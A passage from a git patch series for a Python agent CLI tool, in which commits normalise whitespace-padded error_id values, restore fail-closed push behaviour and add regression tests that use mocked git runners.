_chain_snapshot(store: Store, tid: str, extra_head: str | None = None) -> di # downstream) and never to a stale gate's head. head = "unresolved-pushed-head" payload = task.get("payload") or {} - error_id = "" - if isinstance(payload, dict): - raw_eid = payload.get("error_id") - if isinstance(raw_eid, str): - error_id = raw_eid + error_id = _nonempty_str(payload.get("error_id")) if isinstance(payload, dict) else None error_fix_confirmed = bool( error_id and sid and has_error_fix_activity(store, sid, error_id) ) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 2cb1da2..fa08b90 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -824,7 +824,21 @@ def execute_spine_step( from .git_act import GitActError, push_branch payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} - error_id = str(payload.get("error_id") or "").strip() + raw_error_id = payload.get("error_id") + error_id = str(raw_error_id or "").strip() + if not error_id and isinstance(raw_error_id, str) and raw_error_id != "": + # Present but strips to empty (e.g. stale pre-round-24 store row + # with a whitespace-only error_id — creation-time validation now + # rejects this for new tasks). Fail loudly instead of silently + # downgrading to expected_branch=None, which would skip the push + # identity check entirely as if error_id were absent. + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason="task payload.error_id is whitespace-only", + message="task payload.error_id is whitespace-only", + ) expected_branch = f"error-fix-{error_id[:8]}" if error_id else None try: sha = push_branch( diff --git a/tests/test_cli.py b/tests/test_cli.py index 0a6eac9..e672302 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -1525,6 +1525,130 @@ def test_activity_add_error_skip_happy_path(tmp_path: Path) -> None: store.close() +def test_activity_add_error_fix_whitespace_padded_error_id_resolves_end_to_end( + tmp_path: Path, capsys: pytest.CaptureFixture[str] +) -> None: + """Round 25 regression: round 24 made `_nonempty_str` strip for VALIDATION, + but `cmd_activity` and `_find_or_create_implement_task` used to persist the + RAW, unstripped payload. Two independent call sites (`activity add` and + `task create --error-id`) padding the same logical error_id with different + incidental whitespace must still resolve as the same identifier end to + end: persisted normalized, not just validated normalized. This exercises + the real persist-then-compare path (has_error_fix_activity / + error_fix_confirmed / the fixer's brief lookup) against actual store + rows written by the CLI — not the `_nonempty_str` helper in isolation. + """ + from agent_cli.error_fix_act import has_error_fix_activity + from agent_cli.fixer_act import _error_fix_brief + from agent_cli.main import _chain_snapshot + + error_id = "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa" + fingerprint = "traceback-fingerprint" + brief = "Add a retry around the timeout." + # Different incidental whitespace at each call site (NBSP vs tab/space/ + # newline) — same identifier after stripping, different raw bytes. + activity_error_id = error_id + "\u00a0" + task_error_id = "\t" + error_id + " \n" + _seed_cli_error_seen_for_conclusion(tmp_path, error_id=error_id, fingerprint=fingerprint) + + _add_cli_error_conclusion( + tmp_path, + typ="error.fix", + payload={"error_id": activity_error_id, "fingerprint": fingerprint, "brief": brief}, + ) + capsys.readouterr() + + run( + tmp_path, + [ + "task", + "create", + "--session", + "error-session", + "--workflow", + "implement", + "--error-id", + task_error_id, + "--title", + "Fix timeout", + ], + ) + tid = _last_task_id(capsys.readouterr().out) + + store = Store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + payload = task.get("payload") or {} + # The persisted task payload must be the NORMALIZED id, not the raw + # whitespace-padded CLI argument. + assert payload.get("error_id") == error_id + + fix_rows = [row for row in store.rows("activity") if row["type"] == "error.fix"] + assert len(fix_rows) == 1 + # The persisted activity payload must also be normalized, matching + # the task's normalized error_id above (not activity_error_id). + assert fix_rows[0]["payload"]["error_id"] == error_id + + assert has_error_fix_activity(store, "error-session", error_id) is True + + snap = _chain_snapshot(store, tid) + assert snap["error_fix_confirmed"] is True + + assert _error_fix_brief(store, "error-session", error_id) == brief + finally: + store.close() + + +def test_chain_snapshot_error_fix_confirmed_true_for_whitespace_padded_task_error_id( + tmp_path: Path, capsys: pytest.CaptureFixture[str] +) -> None: + """Round 26 regression: _chain_snapshot must normalize the task's + payload.error_id before comparing, not trust it is already clean. + Simulated by overwriting the task row directly after normal creation, + bypassing _find_or_create_implement_task's own normalization.""" + from agent_cli.main import _chain_snapshot + + error_id = "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa" + fingerprint = "traceback-fingerprint" + _seed_cli_error_seen_for_conclusion(tmp_path, error_id=error_id, fingerprint=fingerprint) + _add_cli_error_conclusion( + tmp_path, + typ="error.fix", + payload={"error_id": error_id, "fingerprint": fingerprint, "brief": "fix it"}, + ) + capsys.readouterr() + + run( + tmp_path, + [ + "task", + "create", + "--session", + "error-session", + "--workflow", + "implement", + "--error-id", + error_id, + "--title", + "Fix timeout", + ], + ) + tid = _last_task_id(capsys.readouterr().out) + + store = Store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task["payload"] = {"error_id": error_id + " ", "repo": "org/app"} + store.write("task", "update", tid, task) + + snap = _chain_snapshot(store, tid) + assert snap["error_fix_confirmed"] is True + finally: + store.close() + + def test_activity_add_error_fix_requires_mapped_repo(tmp_path: Path) -> None: error_id = "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa" fingerprint = "traceback-fingerprint" diff --git a/tests/test_error_fix_act.py b/tests/test_error_fix_act.py index b457423..234c8d5 100644 --- a/tests/test_error_fix_act.py +++ b/tests/test_error_fix_act.py @@ -499,6 +499,16 @@ def test_has_error_fix_activity_false_for_empty_error_id(tmp_path: Path) -> None assert has_error_fix_activity(store, "runner-1", "") is False +def test_nonempty_str_rejects_unicode_whitespace_only() -> None: + """U+00A0-only must be absent so run_core cannot strip it to skip identity.""" + assert error_fix_act_mod._nonempty_str("\u00a0") is None + assert error_fix_act_mod._nonempty_str("\u00a0\u00a0") is None + assert error_fix_act_mod._nonempty_str("") is None + assert error_fix_act_mod._nonempty_str(" ") is None + assert error_fix_act_mod._nonempty_str("ok") == "ok" + assert error_fix_act_mod._nonempty_str(" ok ") == "ok" + + def test_has_error_fix_activity_false_for_mismatched_ids(tmp_path: Path) -> None: store = Store(tmp_path) _runner_session(store) @@ -510,3 +520,29 @@ def test_has_error_fix_activity_false_for_mismatched_ids(tmp_path: Path) -> None assert ( has_error_fix_activity(store, "other-session", "error-seen-12345678") is False ) + + +def test_has_error_fix_activity_true_for_whitespace_padded_persisted_error_id( + tmp_path: Path, +) -> None: + """Round 26 regression: a persisted error.fix payload.error_id with + incidental whitespace (simulated by writing the activity row directly, + bypassing validate_conclusion's normalization) must still match the + caller's already-normalized error_id.""" + store = Store(tmp_path) + store.write( + "activity", + "insert", + "fix-1", + { + "id": "fix-1", + "session_id": "runner-1", + "type": "error.fix", + "payload": { + "error_id": "error-seen-12345678 ", + "fingerprint": "api|TimeoutError|abc|prod", + }, + "execution_status": "pending", + }, + ) + assert has_error_fix_activity(store, "runner-1", "error-seen-12345678") is True diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 5e72855..e1bfa08 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -274,6 +274,58 @@ def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-unt assert _checklist(tmp_path, tid)["pushed"] == "ja" +def test_drive_one_fails_loudly_on_stale_whitespace_only_error_id( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Round 26 regression: _drive_one used to derive error_id via + str(x or "") and would build a garbage "error-fix- " branch head from a + stale whitespace-only payload.error_id (simulated by writing the task + row directly, bypassing create-time validation). Must fail loudly + instead of building the garbage head or opening a PR.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None: "abcdef1234567890abcdef1234567890abcdef12", + ) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + assert _checklist(tmp_path, tid)["pushed"] == "ja" + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task["payload"] = {"error_id": " ", "repo": "org/app"} + store.write("task", "update", tid, task) + finally: + store.close() + + def boom(*args, **kwargs): # type: ignore[no-untyped-def] + raise AssertionError( + "insert_pr_open_and_scan must not run for whitespace-only error_id" + ) + + monkeypatch.setattr("agent_cli.fixer_act.insert_pr_open_and_scan", boom) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + assert "whitespace-only" in result + assert "failed" in result + assert not _pr_open_row_exists(store, head="error-fix- ") + finally: + store.close() + + def test_fixer_threads_pushed_head_into_pr_gate( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/test_git_act.py b/tests/test_git_act.py index 3ed58dc..0d6d039 100644 --- a/tests/test_git_act.py +++ b/tests/test_git_act.py @@ -28,6 +28,13 @@ def _config(argv: list[str]) -> Completed | None: return Completed(1, "", "") +def _remote(argv: list[str]) -> Completed | None: + """Fake `git -C remote`: single 'origin' remote, matching _config above.""" + if argv == ["git", "-C", CWD, "remote"]: + return Completed(0, "origin\n", "") + return None + + def _assert_git_c(argv: list[str]) -> None: assert argv[:3] == ["git", "-C", CWD] for flag in FORCE_FLAGS: @@ -49,6 +56,9 @@ def runner(argv: list[str]) -> Completed: cfg = _config(argv) if cfg is not None: return cfg + rem = _remote(argv) + if rem is not None: + return rem if "fetch" in argv: assert argv == ["git", "-C", CWD, "fetch", "--", "origin"] return Completed(0, "", "") @@ -87,6 +97,9 @@ def runner(argv: list[str]) -> Completed: cfg = _config(argv) if cfg is not None: return cfg + rem = _remote(argv) + if rem is not None: + return rem if "fetch" in argv: return Completed(0, "", "") if "rev-list" in argv: @@ -214,6 +227,9 @@ def runner(argv: list[str]) -> Completed: cfg = _config(argv) if cfg is not None: return cfg + rem = _remote(argv) + if rem is not None: + return rem if "fetch" in argv: return Completed(0, "", "") if "rev-list" in argv: @@ -248,6 +264,65 @@ def runner(argv: list[str]) -> Completed: push_branch(cwd=CWD, runner=runner) +def test_push_upstream_tracks_wrong_expected_branch_refused() -> None: + """Local name matches expected_branch, but upstream merge tracks elsewhere.""" + calls: list[list[str]] = [] + branch = "error-fix-aaaaaaaa" + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, f"{branch}\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "origin/some-other-branch\n", "") + if "config" in argv and "--get" in argv: + key = argv[-1] + if key == f"branch.{branch}.remote": + return Completed(0, "origin\n", "") + if key == f"branch.{branch}.merge": + return Completed(0, "refs/heads/some-other-branch\n", "") + return Completed(1, "", "") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="refusing to push"): + push_branch(cwd=CWD, runner=runner, expected_branch=branch) + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + +def test_push_upstream_remote_mismatch_refused() -> None: + """branch..remote tracks a remote other than the one `git remote` + resolves to (single-remote-or-origin, same rule the fresh-branch path + uses) — refuse rather than fetch/push to an unexpected remote.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv and "rev-list" not in argv: + return Completed(0, "fork/feat-x\n", "") + if "config" in argv and "--get" in argv: + key = argv[-1] + if key == "branch.feat-x.remote": + return Completed(0, "fork\n", "") + if key == "branch.feat-x.merge": + return Completed(0, "refs/heads/feat-x\n", "") + return Completed(1, "", "") + if argv == ["git", "-C", CWD, "remote"]: + return Completed(0, "origin\nfork\n", "") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="refusing to push"): + push_branch(cwd=CWD, runner=runner) + assert not any("push" in a for a in calls) + assert not any("fetch" in a for a in calls) + + def test_push_upstream_feat_main_not_protected() -> None: calls: list[list[str]] = [] @@ -266,6 +341,9 @@ def runner(argv: list[str]) -> Completed: if key == "branch.feat-x.merge": return Completed(0, "refs/heads/feat/main\n", "") return Completed(1, "", "") + rem = _remote(argv) + if rem is not None: + return rem if "fetch" in argv: return Completed(0, "", "") if "rev-list" in argv: diff --git a/tests/test_run.py b/tests/test_run.py index 51b3553..2be501f 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -864,6 +864,43 @@ def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-unt assert _checklist(tmp_path, tid)["pushed"] == "ja" +def test_pushed_fails_loudly_on_stale_whitespace_only_error_id( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Round 25 regression: run_core's expected_branch derivation used to + treat "error_id key absent" and "error_id present but whitespace-only" + identically (both -> expected_branch=None, silently skipping the push + identity check). Round 24 now rejects whitespace-only error_id at + creation time for NEW tasks, so this is only reachable via stale + pre-existing store data — simulated here by writing the task payload + directly, bypassing create-time validation.""" + tid = _bootstrap_implement(tmp_path, capsys) + _advance_to_pushed(tmp_path, tid, capsys, monkeypatch) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task["payload"] = {"error_id": " "} + store.write("task", "update", tid, task) + finally: + store.close() + + called = {"n": 0} + + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + called["n"] += 1 + return "abc1234" + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + with pytest.raises(SystemExit) as exc: + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + assert "whitespace-only" in str(exc.value.code) + assert called["n"] == 0 + assert _checklist(tmp_path, tid)["pushed"] != "ja" + + def _bootstrap_resolve(home: Path, capsys: pytest.CaptureFixture[str]) -> str: run(home, ["init"]) run( From 8dbadcb7b46f9dd302397ed1042e3f2e81e8d4bc Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 12:14:04 -0300 Subject: [PATCH 08/47] Normalize the remaining raw error_id comparison sites. Three call sites still compared a caller-normalized error_id against a raw, unstripped persisted value: the fixer's brief lookup, the duplicate- conclusion guard, and the implement-task lookup. All three now use the same _nonempty_str normalization already applied elsewhere, closing the error_id normalization gap for good. An exhaustive grep confirms no remaining unnormalized comparison sites in this PR's scope. 760 tests pass. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/error_fix_act.py | 4 ++-- src/agent_cli/fixer_act.py | 2 +- tests/test_cli.py | 40 ++++++++++++++++++++++++++++++++++ tests/test_error_fix_act.py | 40 ++++++++++++++++++++++++++++++++++ tests/test_fixer_act.py | 33 ++++++++++++++++++++++++++++ 5 files changed, 116 insertions(+), 3 deletions(-) diff --git a/src/agent_cli/error_fix_act.py b/src/agent_cli/error_fix_act.py index 4e386d7..6e5282e 100644 --- a/src/agent_cli/error_fix_act.py +++ b/src/agent_cli/error_fix_act.py @@ -183,7 +183,7 @@ def validate_conclusion( if row.get("type") not in ("error.skip", "error.fix"): continue inner = row.get("payload") - if isinstance(inner, dict) and inner.get("error_id") == error_id: + if isinstance(inner, dict) and _nonempty_str(inner.get("error_id")) == error_id: raise StoreError("conclusion already exists") if typ == "error.fix" and _repo_ok(seen_payload.get("repo")) is None: raise StoreError("unmapped-repo") @@ -219,7 +219,7 @@ def _lookup_implement_task(store: Store, session_id: str, error_id: str) -> str if row.get("workflow") != "implement": continue payload = row.get("payload") - if isinstance(payload, dict) and payload.get("error_id") == error_id: + if isinstance(payload, dict) and _nonempty_str(payload.get("error_id")) == error_id: return str(row["id"]) return None diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 1f73859..58b860a 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -36,7 +36,7 @@ def _error_fix_brief(store: Store, session_id: str, error_id: str) -> str | None if row.get("type") != "error.fix": continue payload = row.get("payload") - if not isinstance(payload, dict) or payload.get("error_id") != error_id: + if not isinstance(payload, dict) or _nonempty_str(payload.get("error_id")) != error_id: continue brief = payload.get("brief") if isinstance(brief, str) and brief.strip(): diff --git a/tests/test_cli.py b/tests/test_cli.py index e672302..a92d212 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -1707,6 +1707,46 @@ def test_activity_add_refuses_second_error_conclusion(tmp_path: Path) -> None: ) +def test_activity_add_refuses_duplicate_against_whitespace_padded_conclusion( + tmp_path: Path, +) -> None: + """A prior conclusion persisted with incidental whitespace in error_id + (simulated by writing the activity row directly, bypassing + validate_conclusion's normalization) must still be found by the + duplicate-conclusion guard for a normalized error_id.""" + error_id = "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa" + fingerprint = "traceback-fingerprint" + _seed_cli_error_seen_for_conclusion(tmp_path, error_id=error_id, fingerprint=fingerprint) + + store = Store(tmp_path) + try: + store.write( + "activity", + "insert", + "fix-1", + { + "id": "fix-1", + "session_id": "error-session", + "type": "error.fix", + "payload": {"error_id": f"{error_id} ", "fingerprint": fingerprint}, + "execution_status": "pending", + }, + ) + finally: + store.close() + + with pytest.raises(SystemExit, match="conclusion already exists"): + _add_cli_error_conclusion( + tmp_path, + typ="error.skip", + payload={ + "error_id": error_id, + "fingerprint": fingerprint, + "reason": "Known external failure", + }, + ) + + def test_activity_add_error_skip_requires_reason(tmp_path: Path) -> None: error_id = "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa" fingerprint = "traceback-fingerprint" diff --git a/tests/test_error_fix_act.py b/tests/test_error_fix_act.py index 234c8d5..4d95c7d 100644 --- a/tests/test_error_fix_act.py +++ b/tests/test_error_fix_act.py @@ -522,6 +522,46 @@ def test_has_error_fix_activity_false_for_mismatched_ids(tmp_path: Path) -> None ) +def test_find_or_create_returns_existing_task_for_whitespace_padded_error_id( + tmp_path: Path, +) -> None: + """A prior implement task persisted with incidental whitespace in + payload.error_id (simulated by writing the task row directly, bypassing + the normal create path's normalization) must still be found by + find_or_create_implement_task for a normalized error_id, not duplicated.""" + store = Store(tmp_path) + _runner_session(store) + _seen(store) + store.write( + "task", + "insert", + "task-1", + { + "id": "task-1", + "session_id": "runner-1", + "workflow": "implement", + "title": "Fix observed error", + "repo": "org/app", + "ref": None, + "payload": {"error_id": "error-seen-12345678 ", "repo": "org/app"}, + "state": "open", + "current_round": 0, + "created_at": utcnow(), + "updated_at": utcnow(), + "change_summary_en": None, + "change_summary_de": None, + }, + ) + tid, created = find_or_create_implement_task( + store, + "runner-1", + "error-seen-12345678", + "Fix observed error", + ) + assert created is False + assert tid == "task-1" + + def test_has_error_fix_activity_true_for_whitespace_padded_persisted_error_id( tmp_path: Path, ) -> None: diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index e1bfa08..1195304 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -11,6 +11,7 @@ from agent_cli.fixer_act import ( _drive_one, + _error_fix_brief, _pr_open_row_exists, _runner_to_completed, drive_error_fix_tasks, @@ -1222,6 +1223,38 @@ def test_pr_open_row_exists_excludes_pending_status( store.close() +def test_error_fix_brief_matches_whitespace_padded_persisted_error_id( + tmp_path: Path, +) -> None: + """A persisted error.fix payload.error_id with incidental whitespace + (simulated by writing the activity row directly, bypassing + validate_conclusion's normalization) must still match the caller's + already-normalized error_id, same fix as has_error_fix_activity.""" + store = _store(tmp_path) + try: + store.write( + "activity", + "insert", + "fix-1", + { + "id": "fix-1", + "session_id": "runner-1", + "type": "error.fix", + "payload": { + "error_id": f"{ERROR_ID} ", + "fingerprint": "api|TimeoutError|abc|prod", + "brief": "Timeout in handler; add retry.", + }, + "execution_status": "pending", + }, + ) + assert _error_fix_brief(store, "runner-1", ERROR_ID) == ( + "Timeout in handler; add retry." + ) + finally: + store.close() + + def test_fixer_resumes_pending_pr_open_via_scan_github( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: From 8848d0cbc664eac6e64610c68e0101fb3e8affa5 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 12:32:16 -0300 Subject: [PATCH 09/47] Restore fail-closed push behavior for ordinary tasks. The branch-identity check's fresh-branch path had no upstream configured turn into a silent auto-set-upstream push for every caller, not just the identity-checked error-fix flow -- weakening the original hard-fail behavior for ordinary agent run tasks. Gates the auto-push on a real expected_branch, restoring the original GitActError otherwise. Also swaps run_core's local strip reimplementation for the shared normalization helper. 761 tests pass. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/git_act.py | 5 +++++ src/agent_cli/run_core.py | 4 +++- tests/test_git_act.py | 20 +++++++++++++++++++- 3 files changed, 27 insertions(+), 2 deletions(-) diff --git a/src/agent_cli/git_act.py b/src/agent_cli/git_act.py index ca0a400..e5888f9 100644 --- a/src/agent_cli/git_act.py +++ b/src/agent_cli/git_act.py @@ -71,6 +71,11 @@ def push_branch(*, cwd: str, runner: Runner, expected_branch: str | None = None) completed = runner(_git(cwd, "rev-parse", "--abbrev-ref", "@{upstream}")) if completed.returncode != 0 or not completed.stdout.strip(): + if expected_branch is None: + # No identity to check against: keep the original fail-closed + # behavior for ordinary (non-error-fix) tasks — a human must + # push manually rather than this silently auto-setting upstream. + raise GitActError("no upstream") # Fresh branch (e.g. error-fix checkout -B): set upstream on first push. remote = _resolve_remote(cwd, runner) merge_ref = f"refs/heads/{branch}" diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index fa08b90..8ed675c 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -823,9 +823,11 @@ def execute_spine_step( run_cwd = cwd or os.getcwd() from .git_act import GitActError, push_branch + from .error_fix_act import _nonempty_str + payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} raw_error_id = payload.get("error_id") - error_id = str(raw_error_id or "").strip() + error_id = _nonempty_str(raw_error_id) or "" if not error_id and isinstance(raw_error_id, str) and raw_error_id != "": # Present but strips to empty (e.g. stale pre-round-24 store row # with a whitespace-only error_id — creation-time validation now diff --git a/tests/test_git_act.py b/tests/test_git_act.py index 0d6d039..4c19bdf 100644 --- a/tests/test_git_act.py +++ b/tests/test_git_act.py @@ -189,7 +189,7 @@ def runner(argv: list[str]) -> Completed: return Completed(0, SHA + "\n", "") raise AssertionError(f"unexpected argv: {argv}") - got = push_branch(cwd=CWD, runner=runner) + got = push_branch(cwd=CWD, runner=runner, expected_branch="feat-x") assert got == SHA assert SET_UPSTREAM_PUSH in calls for argv in calls: @@ -210,6 +210,24 @@ def runner(argv: list[str]) -> Completed: raise AssertionError(f"unexpected argv: {argv}") with pytest.raises(GitActError, match="ambiguous remotes"): + push_branch(cwd=CWD, runner=runner, expected_branch="feat-x") + + +def test_push_no_upstream_without_expected_branch_fails_closed() -> None: + """Ordinary (non-error-fix) tasks keep the original fail-closed behavior: + no upstream configured means a human must push manually, not a silent + auto-set-upstream push.""" + + def runner(argv: list[str]) -> Completed: + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv: + return Completed(1, "", "no upstream configured") + raise AssertionError(f"unexpected argv: {argv}") + + with pytest.raises(GitActError, match="no upstream"): push_branch(cwd=CWD, runner=runner) From cd5fe9a3387594b7ce31a17e44bfb73cf99ea1b4 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 13:16:20 -0300 Subject: [PATCH 10/47] Gate the push shortcut on error_fix_confirmed, not bare error_id. The unattended-push identity check derived expected_branch from bare payload.error_id presence, not from the same error_fix_confirmed check used everywhere else this PR gates script privilege -- an unconfirmed error_id got the auto-push shortcut while being denied other carve-outs. Now fails loudly on that inconsistency instead of silently falling through. Also tried and reverted a stricter verdict-parser check: it would have rejected legitimate reasoning narration before a lane's report, not just contradictory prose, which was proven empirically against the review lane's own real output. Documented as an accepted, honest residual limitation instead of building a fragile heuristic. Consolidated 3 duplicate SHA regexes into one. 764 tests pass. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- DESIGN.md | 2 +- src/agent_cli/lane.py | 14 +++++++++ src/agent_cli/main.py | 3 +- src/agent_cli/run_core.py | 21 ++++++++++--- tests/test_lane.py | 18 +++++++++++ tests/test_run.py | 65 +++++++++++++++++++++++++++++++++++++++ 6 files changed, 115 insertions(+), 8 deletions(-) diff --git a/DESIGN.md b/DESIGN.md index 3de31ac..2148acf 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -498,7 +498,7 @@ The rules below were already implied by §§1–17. They are now explicit so a l A worker report such as “analysis complete” or “tests passed” is **input**. It is not the transition. Opening a draft is not done. -No transition that needs deterministic evidence may be satisfied by model text alone. Malformed structured output is rejected (unknown `activity.type` → `execution_status=error`; empty, partial, timeout, or unavailable review output is not zero findings). A patch that does not apply is a failed check, not a debate. +No transition that needs deterministic evidence may be satisfied by model text alone. Malformed structured output is rejected (unknown `activity.type` → `execution_status=error`; empty, partial, timeout, or unavailable review output is not zero findings). A patch that does not apply is a failed check, not a debate. The structured `FINDINGS:` section is the sole source of truth for a review verdict; a real finding stated only in a reviewer's free-text preamble and not restated there is not mechanically detectable and is accepted residual risk, not something a heuristic tries to close. ### 19.2 Untrusted inputs diff --git a/src/agent_cli/lane.py b/src/agent_cli/lane.py index 2a2ee78..7afe70e 100644 --- a/src/agent_cli/lane.py +++ b/src/agent_cli/lane.py @@ -47,6 +47,20 @@ def has_single_terminal_report(text: str) -> bool: Multiple STATUS or FINDINGS headers (e.g. an early example block plus a real report) are unparseable — callers must not trust parse_status / count_findings on such transcripts. + + Known limitation, accepted by design: this does not attempt to detect a + real finding stated only in free-text preamble/reasoning narration ahead + of an otherwise clean STATUS: complete / FINDINGS: none block. Reasoning + narration before the terminal report is normal, expected model output + (the review contract says reports must "end with" this block, not + "consist solely of" it) — rejecting on any preamble text caused + near-universal false-fail retries on legitimate reports. Distinguishing + harmless narration from a stated finding is a semantic judgment on + natural-language text, not a mechanical one; no regex/keyword heuristic + here would be reliable, so none is attempted (matches this system's + "model text is never itself a transition" principle, DESIGN.md §19). + The structured FINDINGS: section remains the sole source of truth for + pass/fail. """ status_n = len(list(_STATUS_RE.finditer(text))) findings_n = len(list(_FINDINGS_HEADER_RE.finditer(text))) diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index fd9bcfd..3fa5ea8 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -28,6 +28,7 @@ required_source, to_json as step_to_json, ) +from .git_act import _SHA_RE from .github_act import _repo_ok from .hub import Hub, HubError from .knock import drain as knock_drain @@ -54,8 +55,6 @@ scan_merged, ) -_SHA_RE = re.compile(r"^[0-9a-f]{7,40}$") - CHECKLIST = { "implement": ( "session_registered", diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 8ed675c..f726ed5 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -9,14 +9,14 @@ from __future__ import annotations import os -import re import shlex from collections.abc import Callable from dataclasses import dataclass, field from pathlib import Path from typing import Any -from .chain import NO_AUTO_CLOSE, Step, close_allowed, next_steps +from .chain import NO_AUTO_CLOSE, Step, close_allowed, is_error_fix_originated, next_steps +from .git_act import _SHA_RE from .lane import ( LaneResult, count_findings, @@ -28,7 +28,6 @@ from .store import Store DEFAULT_ROUND_CAP = 5 -_SHA_RE = re.compile(r"^[0-9a-f]{7,40}$") _REVIEW_ROLES = frozenset({"reviewer", "pr-reviewer-quality", "pr-reviewer-logic"}) _BASE_CANDIDATES = ( "origin/develop", @@ -338,7 +337,7 @@ def build_review_spec_file( round_bit = round_num if round_num is not None else 0 diff_path = parent / f"review-{role}-round{round_bit}.diff" spec_path = parent / f"review-{role}-round{round_bit}.md" - diff_path.write_text(diff_text if diff_text.strip() else "(empty diff)\n", encoding="utf-8") + diff_path.write_text(diff_text, encoding="utf-8") abs_diff = str(diff_path.resolve()) paths_line = ", ".join(changed_paths) if changed_paths else "(none)" @@ -373,7 +372,7 @@ def build_review_spec_file( f"`{abs_diff}`\n\n" f"Changed paths: {paths_line}\n\n" f"Unified diff (also embedded for convenience; the Read path is required):\n\n" - f"```diff\n{diff_text if diff_text.strip() else '(empty diff)'}\n```\n\n" + f"```diff\n{diff_text}\n```\n\n" f"# Dimension\n\n" f"{dimension}\n\n" f"# Context\n\n" @@ -841,6 +840,18 @@ def execute_spine_step( reason="task payload.error_id is whitespace-only", message="task payload.error_id is whitespace-only", ) + if error_id and not is_error_fix_originated(snap): + # payload.error_id alone is not enough — same gate as chain.py's + # script carve-outs. Falling through to expected_branch=None would + # skip the push identity check as if this were an ordinary task. + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason="task payload.error_id is set but error_fix_confirmed is False", + message="task payload.error_id is set but error_fix_confirmed is False", + ) + # error_id non-empty here implies is_error_fix_originated (gated above). expected_branch = f"error-fix-{error_id[:8]}" if error_id else None try: sha = push_branch( diff --git a/tests/test_lane.py b/tests/test_lane.py index 0dd9cb7..4815c14 100644 --- a/tests/test_lane.py +++ b/tests/test_lane.py @@ -251,6 +251,24 @@ def test_has_single_terminal_report_accepts_one_block() -> None: assert has_single_terminal_report(text) is True +def test_has_single_terminal_report_accepts_preamble_before_status() -> None: + """Reasoning narration before a clean STATUS/FINDINGS block is accepted. + + Reasoning 